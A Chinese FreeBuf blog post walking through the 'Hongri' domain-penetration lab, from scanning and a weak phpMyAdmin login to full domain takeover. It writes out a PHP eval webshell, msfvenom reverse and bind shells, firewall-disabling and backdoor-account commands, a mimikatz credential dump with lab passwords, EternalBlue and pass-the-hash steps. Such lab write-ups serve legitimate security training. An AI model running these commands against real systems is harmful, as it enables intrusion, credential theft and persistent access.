freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

域渗透实战-红日靶场一
2023-03-02 09:08:16
所属地 陕西省

一、环境搭建

1、环境测试以及搭建

实验环境拓扑图如下:

1676210462_63e8f11e09714377551fc.png!small?1676210462706

这里是搭建一个最简单的域环境,域控+dmz服务器。

kali(MSF+CS) :192.168.61.128

Windows 2007:192.168.61.201 192.168.52.143

Windows 2003:192.168.52.128

Windows 2008:192.168.52.138

2、信息收集

1)探测内网存活主机。

netdiscover -i eth0 -r 192.168.61.0/24

1676210487_63e8f1377d9d16a1ca4f0.png!small?1676210488292

2)masscan端口扫描。

masscan 192.168.61.201 -p 1-65535 --rate=1000

1676210496_63e8f14058282989b0055.png!small?1676210497206

重点关注80,3306端口。

3)Nmap端口扫描。

nmap -sC -sV -p 80,3306 192.168.61.201

1676210507_63e8f14bd492b29a74a66.png!small?1676210509189

4)我们访问以下80端口。

1676210520_63e8f158553d0a86a8215.png!small?1676210521086

5)dirsearch目录爆破。

dirsearch -u http://192.168.61.201/

1676210529_63e8f161098327d788d72.png!small?1676210529948

这里我们扫描出来了phpmyadmin。

二、漏洞挖掘与利用

1、phpmyadmin弱口令&Getshell

1)我们访问:http://192.168.61.201/phpmyadmin/,来到phpmyadmin页面。

1676210549_63e8f1758f94c0352deb0.png!small?1676210550097

这种页面首先我们的尝试弱口令。

2)接着我们root/root,直接进入phpmyadmin。

1676210560_63e8f180267f01646a1ce.png!small?1676210561180

3)尝试写shell到服务器,我们首先信息收集,获得绝对路径,查看secure_file_priv状态。

select @@secure_file_priv

1676210568_63e8f188d7af7bc8dac53.png!small?1676210569541

结果为空,就不允许导出导入。

我们接着来浅谈一下secure_file_priv状态代表的含义:

secure_file_priv为null 表示不允许导入导出

secure_file_priv指定文件夹时 表示mysql的导入导出只能发生在指定的文件夹

secure_file_priv没有设置时 表示没有任何限制

写入文件的时候还需要注意php.ini里面gpc是否开启,开启情况下,特殊字符都会被转义'变成\'


4)既然直接写行不通,尝试日志写shell,查看日志状态以及存储位置:

show global variables like '%general_%'

1676210581_63e8f1950570bb894f3c9.png!small?1676210581694

5)可以看到日志是关闭的,开启日志且更改日志存储位置,尝试写一句话shell。

set global general_log=on;

1676210588_63e8f19c629030420f651.png!small?1676210588980

set global general_log_file="C:/phpStudy/WWW/shell.php"

1676210595_63e8f1a3794928a967a45.png!small?1676210596075

select'<?php eval($_POST[cmd]);?>'

1676210603_63e8f1ab7f8bb1b7e893f.png!small?1676210604047

6)写入一句话,值得注意的是,一句话两边的括号不能和post[]里面的引号一样,会引起mysql判断错误,可以是双引号和单引号结合,也可以里面不加引号。

7)接下来,我们使用蚁剑链接一下我们的shell。

链接地址:http://192.168.61.201/shell.php

1676210610_63e8f1b298539fa024776.png!small?1676210611427

这是第一种得到webshell的方法。

2、网站后台弱口令&Getshell

1)之前在登陆到phpmyadmin的时候,我们发现了newyxcmd,有经验的表哥,知道这是ymcms框架。

2)我们访问:http://192.168.61.201/yxcms/

1676210626_63e8f1c2850195835b981.png!small?1676210627557

这里暴露了后台的登陆地址,账号和密码。

3)成功登陆后台。

1676210633_63e8f1c911c767c485e38.png!small?1676210634280

4)我们寻找到前台模板->管理模板文件->新建。

1676210639_63e8f1cf4521b692b0d7c.png!small?1676210640089

5)这个文件上传,可以通过前面下载的beifen.rar文件来查找acomment.php文件来确定文件上传的路径。

http://192.168.61.201/yxcms/protected/apps/default/view/default/webshell.php

1676210645_63e8f1d5bc110d5a81161.png!small?1676210646372

三、后渗透阶段

1、MSF

1)我们首先生成一个MSF的shell。

msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.61.128 LPORT=1234 -f exe -o /home/wangkun/桌面/hack.exe

1676210657_63e8f1e10915d8461831b.png!small?1676210657584

2)我们将木马文件上传到webshell中,在msf中开启监听。

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.61.128

set lport 1234

run -j

1676210666_63e8f1ea0706b20a0e3ac.png!small?1676210667145

3)我们接着执行webshell的木马文件。

1676210672_63e8f1f03a07d91bf087c.png!small?1676210672804

4)成功回弹shell。

1676210678_63e8f1f668f13fc3378b5.png!small?1676210678943

5)进入shell,我们首先需要查看权限,看看是否需要提权,这里是administrator权限,我们就使用简单的getsystem,直接提权到SYSTEM权限了,在实战中,我们还需要通过其他方式进行提权,直到提权只最高权限。

2、MSF联动Cobaltstrike

1)首先我们创建CS的监听器。

1676210688_63e8f200987c2c16deb94.png!small?1676210689033

2)我们在MSF操作如下。

use exploit/windows/local/payload_inject

set payload windows/meterpreter/reverse_http

set DisablePayloadHandler true #payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成

set lhost xxxx #公网vps ip

set lport 14444 #监听端口

set session 1 #派发session id

exploit

1676210699_63e8f20b6ef2dfcb1030a.png!small?1676210700313

3)成功得到CS的shell。

1676210706_63e8f2126a6a417721fbc.png!small?1676210706985

3、搭建隧道(MSF+proxychains)

1)在横向移动之前,我们可以先将web服务器配置为代理服务器当作跳板机,可以用msf直接搭建隧道,自动创建路由。

run post/multi/manage/autoroute //配置静态路由

run autoroute -p //查看路由

1676210718_63e8f21e47cb538df314d.png!small?1676210719539

2)挂起会话,建立socks代理。

use auxiliary/server/socks_proxy

options

set version 4a

run -j

jobs

1676210727_63e8f2279303f644d7dbb.png!small?1676210728512

3)修改一下/etc/proxychain4.conf,这里注意我们使用的是socks4。

1676210734_63e8f22e87d4302f7d64b.png!small?1676210735470

4、主机发现

1)我们使用arp探测内网存活的主机。

use post/windows/gather/arp_scanner

set RHOSTS 192.168.52.0/24

set SESSION 1

1676210745_63e8f239ed24ad0d63686.png!small?1676210746786

除了我们拿下的shell外,还得到了两个IP,192.168.52.129,192.168.52.138。

5、利用端口扫描,进一步查看有没有其他漏洞。

use auxiliary/scanner/portscan/tcp

set RHOSTS 192.168.52.138

1676210758_63e8f246372f2d50f38c7.png!small?1676210759067

use auxiliary/scanner/portscan/tcp

set RHOSTS 192.168.52.129

1676210766_63e8f24e061d89cd0d5cd.png!small?1676210766565

6、内网信息收集

net view # 查看局域网内其他主机名

net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域

net user # 查看本机用户列表

net user /domain # 查看域用户

net localgroup administrators # 查看本地管理员组(通常会有域用户)

net view /domain # 查看有几个域

net user 用户名 /domain # 获取指定域用户的信息

net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)

net group 组名 /domain # 查看域中某工作组

net group "domain admins" /domain # 查看域管理员的名字

net group "domain computers" /domain # 查看域中的其他主机名

net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)


1)先判断是否存在域,使用ipconfig /all查看DNS服务器,发现主DNS后缀不为空,存在域god.org,如下图所示。

1676210786_63e8f262c82af0a42521e.png!small?1676210787605

或者执行命令net config Workstation来查看计算机当前的计算机名称,用户名,系统版本,工作站,域,登陆域等全面信息。

2)上面发现了DNS服务器名为god.org,当前登陆域为GOD,接下来可执行net view /domain查看有几个域(域内可能存在多个域环境)。

1676210795_63e8f26b548e3866afd5c.png!small?1676210795791

3)既然只有一个域,那就利用net group "domain controllers" /domain,来查看域控制器主机名,直接确认域控主机的名称为OWA:

1676210801_63e8f271705463d6f0bfb.png!small?1676210802005

4)已经确认域控主机的名称为OWA,继续执行命令net view查看局域网其他主机信息(主机名称,IP地址),可得知域控主机的IP192.168.61.138。这条命令在CS中执行。

1676210807_63e8f27727788f1824f81.png!small?1676210807569

5)局域网扫描出来除了域控主机之外还有另一台主机(名称为ROOT-TVI862UBEH),最后确认以下该主机是否也是存在域中,执行命令net group "domain computers" /domain查看域中的其他主机发现包含ROOT-TVI862UBEH,故域内还包含另一个域成员192.168.52.1411676210813_63e8f27de1d5ddbe024cc.png!small?1676210814335

6)至此内网的信息收集已经收集完毕,已经明确了域控主机192.168.52.138,同时还存在另一台域成员192.168.52.141,接下来的目标就是横向移动拿下域控。

7)接下我,我们查看以下目标主机补丁信息。

run post/windows/gather/enum_patches

1676210821_63e8f2855606c84abe006.png!small?1676210822013

只打了四个补丁。

8)查看目标安装软件的信息。

run post/windows/gather/enum_applications

1676210830_63e8f28e08d05ec02ac14.png!small?1676210830883

9)进入shell查看防火墙状态。

netsh firewall show state

1676210839_63e8f297a4e183dcd47d2.png!small?1676210840205

关闭防火墙

netsh firewall set opmode disable #Windows Server 2003 系统及之前版本

netsh advfirewall set allprofiles state off #Windows Server 2003 之后系统版本

1676210850_63e8f2a2717605c7c34ce.png!small?1676210850906

再次查看防火墙开启状态。

1676210856_63e8f2a80de7fa26c976e.png!small?1676210856809

10)查看3389是否开启(如果返回空代表没有开放)。

netstat -ano | findstr "3389"

1676210862_63e8f2ae34b6b0b3e444b.png!small?1676210862646

未开启!!!

开启远程桌面。

run getgui -e

run post/windows/manage/enable_rdp #两个都可以


在shell下使用以下命令也可

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f # 允许 3389 端口放行


netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow # 允许 3389 端口放行


wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 #wmic 放行3389端口

1676210874_63e8f2ba68b3f8f912f1e.png!small?1676210875613

proxychains4 rdesktop 192.168.52.143

1676210881_63e8f2c19fc52a710d8a4.png!small?1676210882628

这里配合mimikatz抓取的密码,远程登陆到主机,这里链接的话,会把靶机挤掉,这里就不链接了。

四、横向移动

1、存活探测

1)进入msf的shell里使用cmd命令,遍历存货主机。

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

1676210897_63e8f2d17510179da5bda.png!small?1676210898113

这里可以看到存活3个IP。

2、Mimikatz密码抓取

1)我们在CS中执行->RunMimikatz。

1676210907_63e8f2db185e78e9d6b48.png!small?1676210907743

2)得到了明文密码和hash值。

SID : S-1-5-21-2952760202-1353902439-2381784089-500

msv :

[00000003] Primary

* Username : Administrator

* Domain : GOD

* LM : edea194d76c77d87840ac10a764c7362

* NTLM : 8a963371a63944419ec1adf687bb1be5

* SHA1 : 343f44056ed02360aead5618dd42e4614b5f70cf

tspkg :

* Username : Administrator

* Domain : GOD

* Password : hongrisec@2019

wdigest :

* Username : Administrator

* Domain : GOD

* Password : hongrisec@2019

kerberos :

* Username : Administrator

* Domain : GOD.ORG

* Password : hongrisec@2019

ssp :

credman :

1676210927_63e8f2ef3575e6216b4e0.png!small?1676210927729

3、MS17-010

1)之前我们进行use auxiliary/scanner/portscan/tcp,进行端口扫描的时候,发现两台内网主机都开启了445端口,接下我我们对域控192.168.61.138,进行漏洞扫描。

2)我们使用use auxiliary/scanner/smb/smb_ms17_010模块进行扫描,发现存在漏洞。

use auxiliary/scanner/smb/smb_ms17_010

set rhost 192.168.52.138

run

1676210937_63e8f2f9c387c1633b864.png!small?1676210938578

3)我们使用use auxiliary/admin/smb/ms17_010_command模块执行以下命令,看看能否回显。

use auxiliary/admin/smb/ms17_010_command

options

set command whoami

set rhosts 192.168.52.138

run

1676210952_63e8f308e784f522e2935.png!small?1676210953634

成功回显命令。

4)我们使用MS17-010攻击模块中的use exploit/windows/smb/ms17_010_eternalblue木块拿shell。

use exploit/windows/smb/ms17_010_eternalblue

set rhosts 192.168.52.138

run

1676210960_63e8f3103de70acd0d003.png!small?1676210961548

无法反弹回来shell。

5)我们回到MS17-010_command模块,set命令开启3389端口,关闭防火墙。

set command netstat -ano | findstr "3389"

set command REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

set command netsh firewall show state

set command netsh advfirewall set allprofiles state off

1676210969_63e8f319ec15b6f48fc19.png!small?1676210970759

6)添加用户,远程连接。

net user admin$ admin!@#45 /add 新建用户

net user 查看用户

net localgroup administrators admin$ /add 用户添加进管理员

net localgroup administrators 查看管理员组成员

1676210980_63e8f324648d7517caf09.png!small?1676210981368

成功,我们远程登陆访问以下。

4、远程连接+正向shell

proxychains4 rdesktop 192.168.52.138

1676210993_63e8f3312b492f83576e4.png!small?1676210994159

1)我们使用Proxifier来远程到域控机器。

1676211002_63e8f33a83297d8b869dd.png!small?1676211003165

1676211008_63e8f340157e1bb8bb0fe.png!small?1676211008695

2)我们生成一个正向的shell,发送到目标机器。

msfvenom -p windows/meterpreter/bind_tcp -f exe LPORT=2222 -o shell.exe

1676211018_63e8f34a1d894cc201172.png!small?1676211019083

3)正向监听。

set payload windows/meterpreter/bind_tcp

1676211027_63e8f3530b37174f5b9a7.png!small?1676211028042

4)拿到shell。

1676211035_63e8f35ba1a23a7c2ad16.png!small?1676211036247

5、CS进行PTH

1)我们已经拿下了Windows7主机,抓取到了它的hash和密码,而我们前面信息收集到另外两台机器开启了445端口,在目标不出网的情况下,可以使用smb beacon使目标主机上线。

2)新建一个监听器,payload选择Beacon SMB,名字随便。

1676211045_63e8f365d9fbd5e29f620.png!small?1676211046324

2)我们点击以列表形式展开目标。

1676211052_63e8f36c53974b6579ba5.png!small?1676211052815

3)接着我们点击密码凭证。

1676249604_63e98a04bc4b93cebed4f.png!small?1676249605717

拿到凭证信息之后,我们就可以PTH了。

4)我们首先选择域控,Jump->psexec

1676249613_63e98a0d6a592e6f6695a.png!small?1676249614337

如下配置:1676249563_63e989db907921a5cf472.png!small?1676249564388

成功拿下域控。

5)又用同样的方法,拿下域内另一台主机,至此拿下全部的机器。

1676249549_63e989cd4c380a0da2364.png!small?1676249550448

# 域渗透
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录